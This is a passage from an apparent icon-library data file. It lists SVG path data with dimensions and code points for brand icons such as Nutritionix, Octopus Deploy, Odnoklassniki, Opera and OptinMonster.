731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z"],
	"nutritionix": [400, 512, [], "f3d6", "M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z"],
	"octopus-deploy": [512, 512, [], "e082", "M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z"],
	"odnoklassniki": [320, 512, [], "f263", "M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z"],
	"odnoklassniki-square": [448, 512, [], "f264", "M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z"],
	"old-republic": [496, 512, [], "f510", "M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z"],
	"opencart": [640, 512, [], "f23d", "M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z"],
	"openid": [448, 512, [], "f19b", "M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z"],
	"opera": [496, 512, [], "f26a", "M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z"],
	"optin-monster": [576, 512, [], "f23c", "M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 